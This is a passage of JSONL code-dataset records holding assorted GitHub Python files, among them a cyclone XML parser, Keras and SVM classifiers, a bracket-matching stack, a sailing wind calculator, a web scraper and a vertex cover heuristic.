None.\n\n \"\"\"\n try:\n dtstr = header.find(field).text\n except AttributeError:\n log.warning(f\"Header information does not contain {field} element\")\n return None\n\n try:\n dt = datetime.strptime(dtstr, DATEFMT)\n except ValueError:\n raise ValueError(\"Date format does not match required format\")\n else:\n return dt\n\n\ndef getHeaderCenter(header):\n \"\"\"\n Retrieve the production centre from the header information. The production\n centre, if included, optionally includes a `subCenter` element. In the\n Australian case, this is used to specify which TC Warning Centre issued the\n bulletin (i.e. Perth, Brisbane, Darwin TCWC).\n\n :param header: :class:`xml.etree.ElementTree.Element` containing header\n information for the CXML file being processed.\n \"\"\"\n centre = header.find(\"productionCenter\").text\n if header.find('productionCenter/subCenter') is not None:\n subCentre = header.find('productionCenter/subCenter').text\n centre = f\"{centre} - {subCentre}\"\n\n return centre\n\n\ndef parseHeader(header):\n \"\"\"\n Process header information from a CXML file\n\n :param header: :class:`xml.etree.ElementTree.Element` containing header\n information for the CXML file being processed.\n\n \"\"\"\n basetime = getHeaderTime(header, \"baseTime\")\n creationtime = getHeaderTime(header, \"creationTime\")\n centre = getHeaderCenter(header)\n\n return basetime, creationtime, centre\n\n\ndef isEnsemble(header):\n \"\"\"\n Determine if a file represents an ensemble forecast product.\n These have an element in the header, which contains\n information on the number of members and the perturbation method.\n\n :param header: :class:`xml.etree.ElementTree.Element` containing header\n information for the CXML file being processed.\n\n :returns: `True` if this represents an ensemble forecast, False otherwise.\n \"\"\"\n if header.find('generatingApplication/ensemble') is not None:\n return True\n else:\n return False\n\n\ndef ensembleCount(ensembleElem):\n \"\"\"\n Get the number of ensemble members from the header\n :param header: :class:`xml.etree.ElementTree.Element` containing header\n information for the CXML file being processed.\n\n :returns: Number of ensemble members\n \"\"\"\n\n nmembers = ensembleElem.find('numMembers')\n return int(nmembers.text)\n\n\ndef parseEnsemble(data: list) -> list:\n \"\"\"\n\n :param list data: List of data elements\n :returns: a list of `pd.DataFrames` that each contain an ensemble member\n \"\"\"\n forecasts = []\n for d in data:\n log.debug(f\"Ensemble member: {d.attrib['member']}\")\n member = d.attrib['member']\n disturbance = d.find('disturbance')\n distId, tcId, tcName = parseDisturbance(disturbance)\n df = pd.DataFrame(columns=ENSEMBLE_COLUMNS+RADII_COLUMNS)\n fixes = disturbance.findall(\"./fix\")\n log.debug(f\"Disturbance {distId}: number of fixes: {len(fixes)}\")\n for f in fixes:\n fixdata = parseFix(f)\n df.loc[len(df), :] = fixdata\n forecasts.append(df)\n return forecasts\n\n\ndef parseForecast(data) -> pd.DataFrame:\n \"\"\"\n Parse a data element to extract forecast information into a DataFrame.\n\n :param data: :class:`xml.etree.ElementTree.Element` containing forecas\n data.\n\n :returns: `pd.DataFrame` of the forecast data.\n \"\"\"\n disturbance = data.find('disturbance')\n distId, tcId, tcName = parseDisturbance(disturbance)\n df = pd.DataFrame(columns=FORECAST_COLUMNS+RADII_COLUMNS)\n fixes = disturbance.findall(\"./fix\")\n log.debug(f\"Disturbance {distId}: number of fixes: {len(fixes)}\")\n\n for f in fixes:\n fixdata = parseFix(f)\n df.loc[len(df), :] = fixdata\n df['disturbance'] = disturbance\n return df\n\n\ndef parseAnalysis(data):\n pass\n\n\ndef parseDisturbance(dist):\n \"\"\"\n Process a disturbance feature (i.e. a TC event)\n\n :param dist: :class:`xml.etree.ElementTree.Element` containing details of\n a disturbance\n\n :returns: :class:`pandas.DataFrame` containing analysis and forecast data\n for a disturbance\n \"\"\"\n distId = dist.attrib['ID']\n\n if dist.find('localId') is not None:\n tcId = dist.find('localId').text\n else:\n log.debug(\"No localId attribute given\")\n tcId = \"\"\n\n if dist.find('cycloneName') is not None:\n tcName = dist.find('cycloneName').text\n else:\n log.debug(\"No cycloneName attribute given\")\n tcName = \"\"\n\n return distId, tcId, tcName\n\n\ndef loadfile(xmlfile):\n \"\"\"\n Load a CXML file and validate it\n\n :param str xmlfile: Path to the CXML file to load\n\n :returns: :class:`pandas.DataFrame` containing the data in all disturbances\n included in the file.\n\n \"\"\"\n\n if not os.path.isfile(xmlfile):\n log.exception(f\"{xmlfile} is not a file\")\n raise IOError\n\n log.info(f\"Parsing {xmlfile}\")\n\n # try:\n # validate(xmlfile)\n # except AssertionError as e:\n # log.error(f\"{xmlfile} is not a valid CXML file: {e}\")\n # raise\n\n tree = ET.parse(xmlfile)\n xroot = tree.getroot()\n header = xroot.find('header')\n\n if isEnsemble(header):\n ensembleElem = header.find('generatingApplication/ensemble')\n nmembers = ensembleCount(ensembleElem)\n log.info(f\"This is an ensemble forecast with {nmembers} members\")\n data = xroot.findall(\"./data\")\n forecasts = parseEnsemble(data)\n return forecasts\n else:\n data = xroot.findall(\"./data\")\n for d in data:\n if d.attrib['type'] == 'forecast':\n forecast = parseForecast(d)\n return forecast\n elif d.attrib['type'] == 'analysis':\n analysis = parseAnalysis(d)\n return analysis\n","repo_name":"wcarthur/pycxml","sub_path":"pycxml.py","file_name":"pycxml.py","file_ext":"py","file_size_in_byte":13239,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"23145674992","text":"import os\nimport numpy as np\nfrom PIL import Image\nfrom keras.models import Sequential\nfrom keras.layers import Convolution2D, Flatten, MaxPooling2D, Dense, Activation\nfrom keras.optimizers import Adam\nfrom keras.utils import np_utils\n\n\n# --------------------------------------------------\n# 将训练集图片转换成数组\nima1 = os.listdir('./cat/train') # 读取train目录下的所有文件,放入ima1对象中\n\n\ndef read_image1(filename):\n img = Image.open('./cat/train/'+filename).convert('RGB')\n return np.array(img) # 读取出来的图片转换成一个np的数组并返回\n\n\nx_train = [] # 声明x_train数组\n\nfor i in ima1: # 读取遍历train文件夹下的图片\n x_train.append(read_image1(i))\n\nx_train = np.array(x_train) # x_train转换成np类型的数组\n\n\n# 根据文件名提取标签\ny_train = []\nfor filename in ima1:\n y_train.append(int(filename.split('_')[0])) # '_'分割线之前的数字读取添加到y_train数组中\n\ny_train = np.array(y_train) # y_train转换成np类型的数组\n\n# --------------------------------------------------\n# 将测试集图片转化成数组\nima2 = os.listdir('./cat/test')\n\n\ndef read_image2(filename):\n img = Image.open('./cat/test/'+filename).convert('RGB')\n return np.array(img)\n\n\nx_test = []\n\nfor i in ima2:\n x_test.append(read_image2(i))\n\nx_test = np.array(x_test)\n\n# 根据文件名提取标签\ny_test = []\nfor filename in ima2:\n y_test.append(int(filename.split('_')[0]))\n\ny_test = np.array(y_test)\n\n# --------------------------------------------------\n# 将标签转换格式\ny_train = np_utils.to_categorical(y_train)\ny_test = np_utils.to_categorical(y_test)\n\n# 将特征点从0~255转换成0~1提高特征提取精度\nx_train = x_train.astype('float32')\nx_test = x_test.astype('float32')\nx_train /= 255.0\nx_test /= 255.0\n\n# setup Neural network CNN\nmodel = Sequential()\n\n# CNN layer = 1 input shape(100, 100, 3)\nmodel.add(Convolution2D(\n input_shape=(100, 100, 3),\n filters=32, # next layer output (100, 100, 32)\n kernel_size=(5, 5),\n padding='same',\n))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(\n pool_size=(2, 2), # output next layer (50, 50, 32)\n strides=(2, 2),\n padding='same',\n))\n\n# CNN layer = 2\nmodel.add(Convolution2D(\n filters=64, # next layer output (50, 50, 64)\n kernel_size=(2, 2),\n padding='same',\n))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(\n pool_size=(2, 2), # output next layer (25, 25, 64)\n strides=(2, 2),\n padding='same',\n))\n\n# Fully connected Layer -1\nmodel.add(Flatten())\nmodel.add(Dense(1024))\nmodel.add(Activation('relu'))\n\n# Fully connected Layer -2\nmodel.add(Dense(512))\nmodel.add(Activation('relu'))\n\n# Fully connected Layer -3\nmodel.add(Dense(256))\nmodel.add(Activation('relu'))\n\n# Fully connected Layer -4\nmodel.add(Dense(4))\nmodel.add(Activation('softmax'))\n\n# Define Optimizer\nadam = Adam(lr=0.0001)\n\n# Compile the model\nmodel.compile(optimizer=adam,\n loss='categorical_crossentropy',\n metrics=['accuracy'],\n )\n\n# Fire up the network\nmodel.fit(\n x=x_train,\n y=y_train,\n epochs=32,\n batch_size=15, # 每次提度更新的样本数\n verbose=1, # 日志显示模式 进度条\n)\n\n# Save work model\nmodel.save('./cat_weights_second.h5')\n\nscore = model.evaluate(x_test, y_test, batch_size=15)\nprint(score)\n\n\n\n","repo_name":"lesenelir/Django-Cats-Classifier","sub_path":"cat/training_second.py","file_name":"training_second.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"75101764853","text":"class Node:\n def __init__(self, data):\n self.data = data\n self.link = None\n\n\nclass Stack:\n def __init__(self):\n self.top = None\n\n def is_empty(self):\n return self.top is None\n\n def is_full(self):\n pass\n\n def push(self, data):\n node = Node(data)\n node.link = self.top\n self.top = node\n\n def pop(self):\n if self.is_empty():\n print(\"Cannot delete from an empty stack!\")\n return -1\n else:\n data = self.top.data\n self.top = self.top.link\n return data\n\n def peek(self):\n return self.top.data\n\n def display(self):\n curr = self.top\n while curr is not None:\n print(curr.data)\n curr = curr.link\n\n\nclass checkBalance:\n def answer(self):\n # check-balanced\n string = self\n stack = Stack()\n flag = True\n for i in range(0, len(string)):\n # if there is a open bracket, push it to stack\n if string[i] == \"(\" or string[i] == \"[\" or string[i] == \"{\":\n stack.push(string[i])\n\n # if there is a close bracket\n if string[i] == \")\" or string[i] == \"]\" or string[i] == \"}\":\n # check whether empty, empty then not balanced\n if stack.is_empty() is True:\n flag = False\n else:\n # not empty,pop the stack\n temp = stack.pop()\n # check whether the brackets match each other\n if (string[i] == \")\" and temp == \"(\") or (string[i] == \"]\" and temp == \"[\") or (\n string[i] == \"}\" and temp == \"{\"):\n pass\n else:\n flag = False\n\n if stack.is_empty() is False:\n flag = False\n\n if flag is True:\n return \"Mathced\"\n else:\n return \"Not matched\"\n","repo_name":"ddx-510/python","sub_path":"Data_structure_practice_3/check_balanced.py","file_name":"check_balanced.py","file_ext":"py","file_size_in_byte":1982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30963837190","text":"from collections import deque\nimport array\nfrom micropython import const\nfrom NMEA0183_Parsing import NMEA0183\nfrom TrueWind import calcTrueWind\n\nTWD_ARRAY_SIZE = const(30) # Rolling average base = 30 seconds.\nCH_ARRAY_SIZE = const(3) # Rolling average base = 3 seconds.\n\ncalcTrueWind = calcTrueWind()\n\n_RawNMAAqueue = deque((),10)\n_TrueWindDirection = array.array('i', (0 for _ in range(TWD_ARRAY_SIZE)))\n_TrueWindSpeed = array.array('i', (0 for _ in range(TWD_ARRAY_SIZE)))\n_ApparentWindAngleCloseHaul = array.array('f', (0 for _ in range(CH_ARRAY_SIZE)))\n\nclass RcvdMsgQueue:\n def add(self, nmsg:str):\n _RawNMAAqueue.append(nmsg) # add right\n\n def hasMsgs(self)-> bool:\n return len(_RawNMAAqueue) > 0\n\n def pop(self)-> str:\n try:\n return _RawNMAAqueue.popleft() #remove left\n except:\n return \"EMPTY\"\n\nclass TrueWindAveraging:\n \"\"\"\n Rolling average for True Wind data.\n \"\"\"\n def add(self, counter: int, angle:int, speed:int):\n _TrueWindDirection[counter% TWD_ARRAY_SIZE] = angle \n _TrueWindSpeed[counter% TWD_ARRAY_SIZE] = speed \n \n def avgTWD(self):\n return int(sum(_TrueWindDirection)/TWD_ARRAY_SIZE) \n\n def avgTWS(self):\n return int(sum(_TrueWindSpeed)/TWD_ARRAY_SIZE) \n\nclass DisplayData:\n BoatSpeed = 0.0\n Heading = 1.1\n ApparentWindAngleCloseHaul = 2.13\n TrueWindSpeed = 4\n TrueWindDirection = 5\n DisplayMode = \"upwind\"\n _counter = 0\n nmea_queue = RcvdMsgQueue()\n nmea = NMEA0183()\n trueWindAveraging = TrueWindAveraging()\n utc = \"\"\n\n # run through the Received NMEA messages queue and parse out the data\n def CalcCurrentValues(self):\n \n self._counter += 1\n \n while self.nmea_queue.hasMsgs():\n self.nmea.processSentance(self.nmea_queue.pop())\n\n self.BoatSpeed = self.nmea.data_gps['speed']\n self.Heading = self.nmea.data_gps['track']\n self.utc = self.nmea.data_gps['utc']\n awa360 = self.nmea.data_weather['wind_angle'] #NEED TO MAKE +/- 0\n\n if awa360 > 180:\n _ApparentWindAngleCloseHaul[self._counter% CH_ARRAY_SIZE] = -(awa360-360)\n else:\n _ApparentWindAngleCloseHaul[self._counter% CH_ARRAY_SIZE] = awa360\n\n # smooth out the last 3 readings\n self.ApparentWindAngleCloseHaul = (sum(_ApparentWindAngleCloseHaul)/CH_ARRAY_SIZE) \n\n if self.ApparentWindAngleCloseHaul < 90:\n self.DisplayMode = \"upwind\"\n else:\n self.DisplayMode = \"downwind\"\n\n # print(f\"awa360: {awa360}, awaCH: {self.ApparentWindAngleCloseHaul}, bh: {self.Heading}, displayMode: {self.DisplayMode}\")\n\n aws = self.nmea.data_weather['wind_speed']\n\n if aws > 0.0:\n tws, twd = calcTrueWind.calc(awa360, aws, self.Heading, self.BoatSpeed)\n self.trueWindAveraging.add(self._counter, twd, tws)\n self.TrueWindDirection = self.trueWindAveraging.avgTWD() \n self.TrueWindSpeed = self.trueWindAveraging.avgTWS()\n\n\n\n\n","repo_name":"SailorScott/inkplate6-boatdisplay","sub_path":"pymakerWorkingFiles/boatData.py","file_name":"boatData.py","file_ext":"py","file_size_in_byte":3046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25720403118","text":"from django.shortcuts import render\nfrom random import randint, random\nfrom .models import Kerdes # a mostani konyvtarban levo models\n\n# Create your views here.\n\ndef index (request):\n print(request.POST)\n if request == 'POST':\n kerdesnev = request.POST['kedvencszo']\n Kerdes.objects.create(kerdes=kerdesnev)\n\n template = \"index.html\"\n context = {'kerdesek': Kerdes.objects.all()}\n return render(request, template, context)\n","repo_name":"csabisoos/Django_reloaded","sub_path":"PROJEKT/APP/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21532320681","text":"\"\"\"\ndef f(n):\n if n==1:\n return 1\n if n==2:\n return 1\n else:\n return f(n-1)+f(n-2)\n\n\"\"\"\ndef f(n):\n list1=[]\n for a in range(0,n):\n if a==0:\n list1.append(1)\n elif a==1:\n list1.append(1)\n else:\n list1.append(list1[a-1]+list1[a-2])\n\n return list1[a]\n\n\nn=int(input('请输入一个正整数:'))\nprint(f(n)) \n","repo_name":"ZYYhokkaido/Practice-for-Python","sub_path":"test10.py","file_name":"test10.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11227764493","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n# Created on 2016-11-02 13:41:31\n\nfrom pyspider.libs.base_handler import *\nfrom pyspider.database.mysql.mysqldb import ToMysql\nimport json\n\n\nclass Handler(BaseHandler):\n crawl_config = {\n }\n\n def on_start(self):\n for i in range(1, 2):\n self.crawl('https://www.zhanqi.tv/api/static/v2.1/live/list/50/%s.json' % i, callback=self.parse_json)\n\n def parse_json(self, response):\n response = response.json\n res = response['data']['rooms']\n\n for item in res:\n video_id = item['videoId']\n yield {\n \"room_id\" : item['id'],\n \"show_img\" : item['bpic'],\n \"category\" : item['gameName'],\n \"link\" : 'http://www.zhanqi.tv' + item['url'],\n \"title\" : item['title'],\n \"anchor\" : item['nickname'],\n \"head_img\" : item['avatar']+'-big',\n \"num\" : item['online'],\n \"video_link\" : 'http://www.zhanqi.tv/live/embed?roomId=%s' % (video_id),\n \"m3u8_link\" : 'http://dlhls.cdn.zhanqi.tv/zqlive/%s.m3u8' % (video_id),\n \"source\" : \"zhanqi\"\n }\n\n def on_result(self, result):\n if not result:\n return\n sql = ToMysql()\n sql.into('tvshow',**result)\n","repo_name":"xinghanggogogo/Slog","sub_path":"pyspider/project/zhibo/zhanqi.py","file_name":"zhanqi.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28266880851","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 29 11:39:06 2022\n\n@author: nathanwilliams\n\"\"\"\n\n# This is the file to calculate the data needed for the comprehensive table in the report\n\nimport networkx as nx\nimport time\nfrom operator import itemgetter\n\n\ndef MDG(G): # add as input time constraint\n \"\"\"\n Parameters\n ----------\n G : Graph\n\n Returns\n -------\n len(C): integer\n The Total Number of Vertices in Minimum Vertex Cover\n C : list\n An Approximation of the Minimum Vertex Cover\n t1: string\n The time it took for the algorithm to run\n\n \"\"\" \n # Begin Time\n t0 = time.time() \n \n # Initialize cover solution\n C = []\n \n # MDG Algorithm\n while len(G.edges) != 0:\n\n # Determine which vertex has the maximum degree\n max_degree_vertex = max(G.degree, key = itemgetter(1))[0]\n \n # Remove node from the graph\n G.remove_node(max_degree_vertex)\n \n # Add vertex to cover solution\n C.append(max_degree_vertex)\n \n t1 = time.time() - t0\n\n return len(C), C, str(t1) #len(C), C\n\n\ndef relative_error(opt, alg):\n \"\"\"\n Parameters\n ----------\n opt : int\n Optimal Solution.\n alg : int\n Algorithm Solution.\n\n Returns\n -------\n x : float\n Relative Error.\n\n \"\"\"\n x = (alg - opt)/opt\n \n return round(x,6)\n\ngraph_dict = {\"jazz\": 158,\"karate\": 14,\"football\": 94,\"as-22july06\": 3303, \"hep-th\": 3926, \n \"star\": 6902, \"star2\": 4542, \"netscience\": 899, \"email\": 594, \"delaunay_n10\": 703,\n \"power\": 2203}\n\nfor q in graph_dict:\n print(q + \".graph\")\n graph_file = \"Desktop/DATA/\" + q + \".graph\" # update your file path here\n \n \"\"\" Read Data \"\"\"\n with open(graph_file) as file:\n lines = [[int(float(j)) for j in line.rstrip().split()] for line in file]\n \n n_vertices, n_edges, w = tuple(lines.pop(0))\n \n if len(lines) > n_vertices:\n lines = [lines[i] for i in range(n_vertices)]\n \n edges_dict = {}\n for i in range(len(lines)):\n edges_dict[i+1] = lines[i]\n \n \"\"\" Create Graph from Data\"\"\" \n G = nx.Graph(edges_dict)\n k, mvc, total_time = MDG(G)\n\n \n #print(\"The approximate minimum vertex cover is: \", mvc) # actual minimum vertex cover list\n print(\"The approximation has\", k, \"vertices\")\n print(\"MDG took \", total_time, \"seconds\")\n print(\"Relative Error: \", relative_error(graph_dict[q], k))\n print()","repo_name":"gpark98/Minimum-Vertex-Cover","sub_path":"Heuristics/comprehensive_table_MDG.py","file_name":"comprehensive_table_MDG.py","file_ext":"py","file_size_in_byte":2512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30175632224","text":"\ndef solve(A,B,N):\n candidates = []\n for i in range(N):\n candidates.append(set(range(A[i],B[i]+1)))\n ans: set = set([])\n for i,c in enumerate(candidates):\n if i == 0:\n ans = c\n ans = ans & c\n return len(list(ans))\n\ndef main():\n N = int(input())\n A = list(map(int, input().split(\" \")))\n B = list(map(int, input().split(\" \")))\n print(solve(A,B,N))\n\n\n\nif __name__ == '__main__':\n main()","repo_name":"mi-24v/at_coder_contests","sub_path":"abc199/b/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73103291251","text":"from tensorflow import keras\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# データをロードする FordA\n# TSVデータを読み取る\ndef readucr(filename):\n data = np.loadtxt(filename, delimiter=\"\\t\")\n y = data[:, 0]\n x = data[:, 1:]\n return x, y.astype(int)\n\n\nroot_url = \"https://raw.githubusercontent.com/hfawaz/cd-diagram/master/FordA/\"\n\nx_train, y_train = readucr(root_url + \"FordA_TRAIN.tsv\")\nx_test, y_test = readucr(root_url + \"FordA_TEST.tsv\")\n\n# データを標準化する\nx_train = x_train.reshape((x_train.shape[0], x_train.shape[1], 1))\nx_test = x_test.reshape((x_test.shape[0], x_test.shape[1], 1))\n\nnum_classes = len(np.unique(y_train))\n\nidx = np.random.permutation(len(x_train))\nx_train = x_train[idx]\ny_train = y_train[idx]\n\ny_train[y_train == -1] = 0\ny_test[y_test == -1] = 0\n\n# モ���ルを構築する\ndef make_model(input_shape):\n input_layer = keras.layers.Input(input_shape)\n\n conv1 = keras.layers.Conv1D(filters=64, kernel_size=3, padding=\"same\")(input_layer)\n conv1 = keras.layers.BatchNormalization()(conv1)\n conv1 = keras.layers.ReLU()(conv1)\n\n conv2 = keras.layers.Conv1D(filters=64, kernel_size=3, padding=\"same\")(conv1)\n conv2 = keras.layers.BatchNormalization()(conv2)\n conv2 = keras.layers.ReLU()(conv2)\n\n conv3 = keras.layers.Conv1D(filters=64, kernel_size=3, padding=\"same\")(conv2)\n conv3 = keras.layers.BatchNormalization()(conv3)\n conv3 = keras.layers.ReLU()(conv3)\n\n gap = keras.layers.GlobalAveragePooling1D()(conv3)\n\n output_layer = keras.layers.Dense(num_classes, activation=\"softmax\")(gap)\n\n return keras.models.Model(inputs=input_layer, outputs=output_layer)\n\nmodel = make_model(input_shape=x_train.shape[1:])\n\n# モデルをトレーニング\nepochs = 500\nbatch_size = 32\n\ncallbacks = [\n keras.callbacks.ModelCheckpoint(\n \"best_model.h5\", save_best_only=True, monitor=\"val_loss\"\n ),\n keras.callbacks.ReduceLROnPlateau(\n monitor=\"val_loss\", factor=0.5, patience=20, min_lr=0.0001\n ),\n keras.callbacks.EarlyStopping(monitor=\"val_loss\", patience=50, verbose=1),\n]\nmodel.compile(\n optimizer=\"adam\",\n loss=\"sparse_categorical_crossentropy\",\n metrics=[\"sparse_categorical_accuracy\"],\n)\nhistory = model.fit(\n x_train,\n y_train,\n batch_size=batch_size,\n epochs=epochs,\n callbacks=callbacks,\n validation_split=0.2,\n verbose=1,\n)","repo_name":"muekuro/machine_learning","sub_path":"TensorFlow/Timeseries/Timeseries-classification-from-scratch.py","file_name":"Timeseries-classification-from-scratch.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9138586750","text":"#!/usr/bin/env python3\nimport argparse\n\nfrom realtimefmri import collect, collect_ttl, preprocess, web_interface\n\n\ndef parse_arguments():\n \"\"\"Run the data collection\n \"\"\"\n parser = argparse.ArgumentParser(description='Collect data')\n subcommand = parser.add_subparsers(title='subcommand', dest='subcommand')\n\n ttl = subcommand.add_parser('collect_ttl', help=\"\"\"Synchronize to TTL pulses\"\"\")\n ttl.set_defaults(command_name='collect_ttl')\n ttl.add_argument('source', action='store', default='keyboard',\n help='''TTL source. keyboard, serial, redis, or simulate''')\n\n coll = subcommand.add_parser('collect',\n help=\"\"\"Collect and synchronize\"\"\")\n coll.set_defaults(command_name='collect')\n coll.add_argument('-v', '--verbose', action='store_true',\n default=True, dest='verbose',\n help=('''Print log messages to console if true'''))\n\n preproc = subcommand.add_parser('preprocess',\n help=\"\"\"Preprocess and stimulate\"\"\")\n preproc.set_defaults(command_name='preprocess')\n preproc.add_argument('recording_id', action='store',\n help='Unique recording identifier for this run')\n preproc.add_argument('preproc_config', action='store',\n help='Name of preprocessing configuration file')\n preproc.add_argument('-v', '--verbose', action='store_true',\n dest='verbose', default=True)\n\n simul = subcommand.add_parser('simulate',\n help=\"\"\"Simulate a real-time experiment\"\"\")\n simul.set_defaults(command_name='simulate')\n simul.add_argument('simulate_dataset', action='store')\n\n control = subcommand.add_parser('web_interface',\n help=\"\"\"Launch web interface for controlling real-time\n experiments\"\"\")\n control.set_defaults(command_name='web_interface')\n\n args = parser.parse_args()\n\n return args\n\n\ndef main():\n args = parse_arguments()\n if args.subcommand == 'collect_ttl':\n collect_ttl.collect_ttl(source=args.source)\n\n elif args.subcommand == 'collect':\n collect.collect(args.verbose)\n\n elif args.subcommand == 'preprocess':\n preprocess.preprocess(args.recording_id, args.preproc_config, verbose=args.verbose)\n\n elif args.subcommand == 'web_interface':\n print(web_interface)\n print(dir(web_interface))\n web_interface.index.serve()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"gallantlab/realtimefmri","sub_path":"realtimefmri/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":2587,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"21"} +{"seq_id":"5929919704","text":"import logging\n\nfrom waveapi import robot\nfrom waveapi import events\nfrom waveapi import element \nfrom waveapi import appengine_robot_runner\n\nfrom google.appengine.api import urlfetch\n\ndef OnGadgetChanged(event, wavelet):\n gadget = wavelet.root_blip.first(element.Gadget).value()\n resp = urlfetch.fetch(\"http://oeis.org/classic/?p=1&n=1&fmt=3&q=\" + gadget.get('numbers'))\n if resp.status_code == 200:\n content = resp.content\n lines = []\n for line in content.split(\"\\n\"):\n if line.startswith(\" \"):\n lines[-1] = lines[-1] + line\n else:\n lines.append(line)\n for line in lines:\n if line.startswith(\"%N \"):\n token, id, description = tuple(line.split(\" \", 2))\n wavelet.reply(\"Did you know that \" + gadget.get('numbers') + \" appears in the sequence: \" + \" \".join([s for s in description.split(\" \") if s]))\n\ndef OnSelfAdded(event, wavelet):\n blip = wavelet.root_blip\n blip.append(element.Gadget(\"http://jcgbot.appspot.com/static/gadget-final.xml\"))\n\nif __name__=='__main__':\n logging.info(\"Creating robot\")\n\n myrobot = robot.Robot(\"Greeter\",\n image_url='http://google-wave-resources.googlecode.com/svn/trunk/samples/extensions/robots/python/conference-bot/img/avatar.png',\n profile_url='')\n myrobot.register_handler(events.WaveletSelfAdded, OnSelfAdded)\n myrobot.register_handler(events.GadgetStateChanged, OnGadgetChanged)\n\n appengine_robot_runner.run(myrobot, debug=True)\n\n","repo_name":"jcgregorio/wave-tutorial","sub_path":"src/tutorial9/robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"70897386293","text":"# -*- coding: utf-8 -*-\n\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn import *\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.svm import LinearSVC\nfrom sklearn.metrics import accuracy_score\nimport warnings\nwarnings.filterwarnings('ignore')\n\n\"\"\"Data Preprocessing\"\"\"\n\n# load the dataset to pandas dataframe\nraw_mail_data=pd.read_csv('spam.csv',encoding='latin-1')\n# replace the null values with a null string\nmail_data=raw_data.where((pd.notnull(raw_mail_data)),'')\n\nmail_data=raw_data[['Category','Message']]\n\nmail_data.head()\n\n# label spam mail as 0 ; Non spam mail(ham) as 1\nmail_data.loc[mail_data['Category'] == 'spam','Category', ] = 0\nmail_data.loc[mail_data['Category'] == 'ham','Category', ] = 1\n\n#separate the data as text and label .X -->text; Y -->label\nX=mail_data['Message']\ny=mail_data['Category']\n\nprint(X)\nprint('..........')\nprint(y)\n\n#transform the text data to feature vectors that can be used as input to the svm model using TfidfVectorizer\n#convert the text to lowercase letters\n\nfeature_extraction=TfidfVectorizer(min_df=1,stop_words='english',lowercase='True')\nX=feature_extraction.fit_transform(X)\n\n#split the data as train and test data\nX_train,X_test,y_train,y_test=train_test_split(X,y,train_size=0.8,test_size=0.2,random_state=100)\n\n#convert y_train and y_test values to integers\ny_train=y_train.astype('int')\ny_test=y_test.astype('int')\n\n\"\"\"Training the model --> **Support Vector Machine**\"\"\"\n\n#training the SVM model with training data\nmodel=LinearSVC()\nmodel.fit(X_train,y_train)\n\n\"\"\"Evaluation of the model\"\"\"\n\n#prediction on training data\nPredicted_y_train=model.predict(X_train)\naccuracy_train=accuracy_score(y_train,Predicted_y_train)\n\nprint(\"Accuracy on training data: \",accuracy_train)\n\n#prediction on test data\npredicted_y_test=model.predict(X_test)\naccuracy_test=accuracy_score(y_test,predicted_y_test)\nprint(\"Accuracy on test data:\",accuracy_test)\n\ninput_mail= [\"I've been searching for the right words to thank you for this breather. I promise i wont take your help for granted and will fulfil my promise. You have been wonderful and a blessing at all times.,,,\"]\n\ninput_mail_features = feature_extraction.transform(input_mail)\n\nprediction = model.predict(input_mail_features)\nprint(prediction)\n\nif (prediction[0]==1):\n print(\"HAM MAIL\")\nelse:\n print(\"HAM MAIL\")\n","repo_name":"ishita0271/Spam-Email-Prediction","sub_path":"Spam Email Prediction.py","file_name":"Spam Email Prediction.py","file_ext":"py","file_size_in_byte":2394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42227106602","text":"# -*- coding: UTF-8 -*-\r\n\"\"\"\r\n:Script: .py\r\n:Author: Dan.Patterson@carleton.ca\r\n:Modified: 2017-xx-xx\r\n:Purpose: tools for working with numpy arrays\r\n:Useage:\r\n:\r\n:References:\r\n:\r\n:---------------------------------------------------------------------:\r\n\"\"\"\r\n# ---- imports, formats, constants ----\r\nimport sys\r\nimport numpy as np\r\n\r\n\r\nft = {'bool': lambda x: repr(x.astype('int32')),\r\n 'float': '{: 0.3f}'.format}\r\n\r\nnp.set_printoptions(edgeitems=10, linewidth=80, precision=2, suppress=True,\r\n threshold=100, formatter=ft)\r\nnp.ma.masked_print_option.set_display('-') # change to a single -\r\n\r\nscript = sys.argv[0] # print this should you need to locate the script\r\n\r\n\r\ndef on_negative_side(p, v1, v2):\r\n d = v2 - v1\r\n return np.dot(np.array([-d[1], d[0]]), p - v1) < 0\r\n\r\n\r\ndef in_side(p, v1, v2, n):\r\n if n <= 0:\r\n return False\r\n d = v2 - v1\r\n l = np.linalg.norm(d)\r\n s = np.dot(d / l, 